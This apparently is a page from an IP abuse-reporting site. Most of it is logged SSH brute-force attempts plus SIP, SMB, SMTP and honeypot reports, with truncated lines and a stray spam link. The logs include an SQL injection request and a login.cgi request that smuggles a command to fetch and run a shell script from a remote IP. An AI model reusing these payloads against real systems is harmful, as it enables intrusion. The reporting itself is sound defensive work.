Lines containing failures of 171.244.36.125
Jun 12 19:06:44 nexus sshd[12530]: Invalid user noreply from 171.244.36.125 port 34396
Jun 12 19:06:44 nexus sshd[12530]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.125
Jun 12 19:06:46 nexus sshd[12530]: Failed password for invalid user noreply from 171.244.36.125 port 34396 ssh2
Jun 12 19:06:46 nexus sshd[12530]: Received disconnect from 171.244.36.125 port 34396:11: Bye Bye [preauth]
Jun 12 19:06:46 nexus sshd[12530]: Disconnected from 171.244.36.125 port 34396 [preauth]
Jun 12 19:20:19 nexus sshd[12619]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.125  user=r.r
Jun 12 19:20:22 nexus sshd[12619]: Failed password for r.r from 171.244.36.125 port 42748 ssh2
Jun 12 19:20:22 nexus sshd[12619]: Received disconnect from 171.244.36.125 port 42748:11: Bye Bye [preauth]
Jun 12 19:20:22 nexus sshd[12619]: Disconnected from 171........
------------------------------

Oct 11 18:02:15 george sshd[8552]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124 
Oct 11 18:02:17 george sshd[8552]: Failed password for invalid user mark from 171.244.36.124 port 40572 ssh2
Oct 11 18:04:35 george sshd[8556]: Invalid user nesus from 171.244.36.124 port 48908
Oct 11 18:04:35 george sshd[8556]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124 
Oct 11 18:04:37 george sshd[8556]: Failed password for invalid user nesus from 171.244.36.124 port 48908 ssh2
...

(sshd) Failed SSH login from 171.244.36.124 (VN/Vietnam/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Oct 11 13:18:29 server2 sshd[11346]: Invalid user melis from 171.244.36.124 port 38396
Oct 11 13:18:30 server2 sshd[11346]: Failed password for invalid user melis from 171.244.36.124 port 38396 ssh2
Oct 11 13:27:37 server2 sshd[13216]: Invalid user roger from 171.244.36.124 port 55764
Oct 11 13:27:40 server2 sshd[13216]: Failed password for invalid user roger from 171.244.36.124 port 55764 ssh2
Oct 11 13:32:06 server2 sshd[14149]: Invalid user rivera from 171.244.36.124 port 33022

Invalid user nagios from 171.244.36.124 port 44668

2020-10-10T20:47:32+0000 Failed SSH Authentication/Brute Force Attack. (Server 6)

Aug 21 11:59:06 electroncash sshd[65380]: Invalid user xcc from 171.244.36.124 port 41464
Aug 21 11:59:06 electroncash sshd[65380]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124 
Aug 21 11:59:06 electroncash sshd[65380]: Invalid user xcc from 171.244.36.124 port 41464
Aug 21 11:59:09 electroncash sshd[65380]: Failed password for invalid user xcc from 171.244.36.124 port 41464 ssh2
Aug 21 12:03:30 electroncash sshd[2610]: Invalid user ghost from 171.244.36.124 port 49078
...

Banned for a week because repeated abuses, for example SSH, but not only

Aug  8 11:58:05 lukav-desktop sshd\[25010\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root
Aug  8 11:58:07 lukav-desktop sshd\[25010\]: Failed password for root from 171.244.36.124 port 46978 ssh2
Aug  8 12:02:29 lukav-desktop sshd\[449\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root
Aug  8 12:02:31 lukav-desktop sshd\[449\]: Failed password for root from 171.244.36.124 port 50514 ssh2
Aug  8 12:06:54 lukav-desktop sshd\[19033\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root

Aug  7 05:47:39 minden010 sshd[2967]: Failed password for root from 171.244.36.124 port 49760 ssh2
Aug  7 05:52:29 minden010 sshd[4690]: Failed password for root from 171.244.36.124 port 33568 ssh2
...

Aug  6 16:51:43 ovpn sshd\[32653\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root
Aug  6 16:51:45 ovpn sshd\[32653\]: Failed password for root from 171.244.36.124 port 51776 ssh2
Aug  6 17:03:12 ovpn sshd\[5873\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root
Aug  6 17:03:14 ovpn sshd\[5873\]: Failed password for root from 171.244.36.124 port 51958 ssh2
Aug  6 17:05:45 ovpn sshd\[7683\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124  user=root

Invalid user sow from 171.244.36.124 port 56292

Jun 17 07:12:05 ip-172-31-61-156 sshd[10686]: Failed password for root from 171.244.36.124 port 49554 ssh2
Jun 17 07:16:11 ip-172-31-61-156 sshd[10868]: Invalid user michael1 from 171.244.36.124
Jun 17 07:16:11 ip-172-31-61-156 sshd[10868]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124
Jun 17 07:16:11 ip-172-31-61-156 sshd[10868]: Invalid user michael1 from 171.244.36.124
Jun 17 07:16:13 ip-172-31-61-156 sshd[10868]: Failed password for invalid user michael1 from 171.244.36.124 port 50902 ssh2
...

2020-06-16T01:05:26.053210xentho-1 sshd[336936]: Failed password for root from 171.244.36.124 port 34924 ssh2
2020-06-16T01:06:48.615252xentho-1 sshd[336976]: Invalid user zz from 171.244.36.124 port 54050
2020-06-16T01:06:48.622174xentho-1 sshd[336976]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124
2020-06-16T01:06:48.615252xentho-1 sshd[336976]: Invalid user zz from 171.244.36.124 port 54050
2020-06-16T01:06:51.304842xentho-1 sshd[336976]: Failed password for invalid user zz from 171.244.36.124 port 54050 ssh2
2020-06-16T01:08:21.837602xentho-1 sshd[337008]: Invalid user rashmi from 171.244.36.124 port 44944
2020-06-16T01:08:21.846938xentho-1 sshd[337008]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.124
2020-06-16T01:08:21.837602xentho-1 sshd[337008]: Invalid user rashmi from 171.244.36.124 port 44944
2020-06-16T01:08:23.627193xentho-1 sshd[337008]: Failed password for inva
...

2020-06-14T18:39:19.439750n23.at sshd[996]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.122
2020-06-14T18:39:19.431997n23.at sshd[996]: Invalid user windows from 171.244.36.122 port 59624
2020-06-14T18:39:21.917562n23.at sshd[996]: Failed password for invalid user windows from 171.244.36.122 port 59624 ssh2
...

Jun 13 00:32:52 xxxxxxx5185820 sshd[11790]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.122  user=r.r
Jun 13 00:32:54 xxxxxxx5185820 sshd[11790]: Failed password for r.r from 171.244.36.122 port 34884 ssh2
Jun 13 00:32:54 xxxxxxx5185820 sshd[11790]: Received disconnect from 171.244.36.122 port 34884:11: Bye Bye [preauth]
Jun 13 00:32:54 xxxxxxx5185820 sshd[11790]: Disconnected from 171.244.36.122 port 34884 [preauth]
Jun 13 00:44:24 xxxxxxx5185820 sshd[13338]: Invalid user naga from 171.244.36.122 port 46612
Jun 13 00:44:24 xxxxxxx5185820 sshd[13338]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=171.244.36.122
Jun 13 00:44:26 xxxxxxx5185820 sshd[13338]: Failed password for invalid user naga from 171.244.36.122 port 46612 ssh2
Jun 13 00:44:27 xxxxxxx5185820 sshd[13338]: Received disconnect from 171.244.36.122 port 46612:11: Bye Bye [preauth]
Jun 13 00:44:27 xxxxxxx5185820 ss........
-------------------------------

Port probing on unauthorized port 3389

[2019-06-22 00:25:10] NOTICE[4006] chan_sip.c: Registration from '"14235" ' failed for '162.144.64.149:5117' - Wrong password
[2019-06-22 00:25:10] SECURITY[4013] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-06-22T00:25:10.333-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="14235",SessionID="0x7fd8040027a0",LocalAddress="IPV4/UDP/142.93.153.17/5060",RemoteAddress="IPV4/UDP/162.144.64.149/5117",Challenge="614f5b3f",ReceivedChallenge="614f5b3f",ReceivedHash="4f43eac99765e32d2772b2e22bea17a6"
[2019-06-22 00:25:10] NOTICE[4006] chan_sip.c: Registration from '"14235" ' failed for '162.144.64.149:5117' - Wrong password
[2019-06-22 00:25:10] SECURITY[4013] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-06-22T00:25:10.533-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="14235",SessionID="0x7fd804052160",LocalAddress="IPV4/UDP/142.93.153.17/5060",RemoteAddress="IPV4/UDP/162.144.64.149/5117",Challe

NAME : RRWE CIDR : 50.113.0.0/16 | STATUS : 200 ROBOT {Looking for resource vulnerabilities} DDoS Attack USA - Colorado - block certain countries :) IP: 50.113.15.242  Denial-of-Service Attack (DoS) Detected and Blocked by ADMIN  - data recovery https://help-dysk.pl

103.247.9.62 - - [22/Jun/2019:00:23:43 -0400] "GET /?page=category&categoryID=95999999.1%20union%20select%20unhex(hex(version()))%20--%20and%201%3D1 HTTP/1.1" 200 75565 "-" "-"
...

TCP port 445 (SMB) attempt blocked by firewall. [2019-06-22 06:24:54]

Jun 22 06:46:16 apollo sshd\[28035\]: Failed password for root from 153.3.122.159 port 48878 ssh2Jun 22 06:46:18 apollo sshd\[28035\]: Failed password for root from 153.3.122.159 port 48878 ssh2Jun 22 06:46:21 apollo sshd\[28035\]: Failed password for root from 153.3.122.159 port 48878 ssh2
...

106.13.6.61 - - [22/Jun/2019:06:25:07 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.248.93.159/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0"
...

Jun 21 23:25:34 mailman postfix/smtpd[30647]: warning: unknown[170.246.206.91]: SASL PLAIN authentication failed: authentication failure

SQL Injection

Jun 22 04:26:40 mailman postfix/smtpd[23895]: warning: unknown[179.108.240.7]: SASL PLAIN authentication failed: authentication failure

Jun 19 18:05:29 xxxxxxx0 sshd[16173]: Invalid user system from 185.203.18.254 port 57828
Jun 19 18:05:29 xxxxxxx0 sshd[16173]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.203.18.254
Jun 19 18:05:31 xxxxxxx0 sshd[16173]: Failed password for invalid user system from 185.203.18.254 port 57828 ssh2
Jun 19 18:07:45 xxxxxxx0 sshd[16545]: Invalid user store from 185.203.18.254 port 51422
Jun 19 18:07:45 xxxxxxx0 sshd[16545]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.203.18.254

........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=185.203.18.254

Jun 22 10:21:44 OPSO sshd\[21747\]: Invalid user guillaume from 192.144.184.199 port 39229
Jun 22 10:21:44 OPSO sshd\[21747\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.144.184.199
Jun 22 10:21:46 OPSO sshd\[21747\]: Failed password for invalid user guillaume from 192.144.184.199 port 39229 ssh2
Jun 22 10:23:26 OPSO sshd\[21796\]: Invalid user user from 192.144.184.199 port 53761
Jun 22 10:23:26 OPSO sshd\[21796\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.144.184.199

C2,WP GET /wp-login.php

DATE:2019-06-22_06:24:53, IP:179.97.24.234, PORT:telnet Telnet brute force auth on honeypot server (honey-neo-dc)

SMTP-sasl brute force
...

Port scan: Attack repeated for 24 hours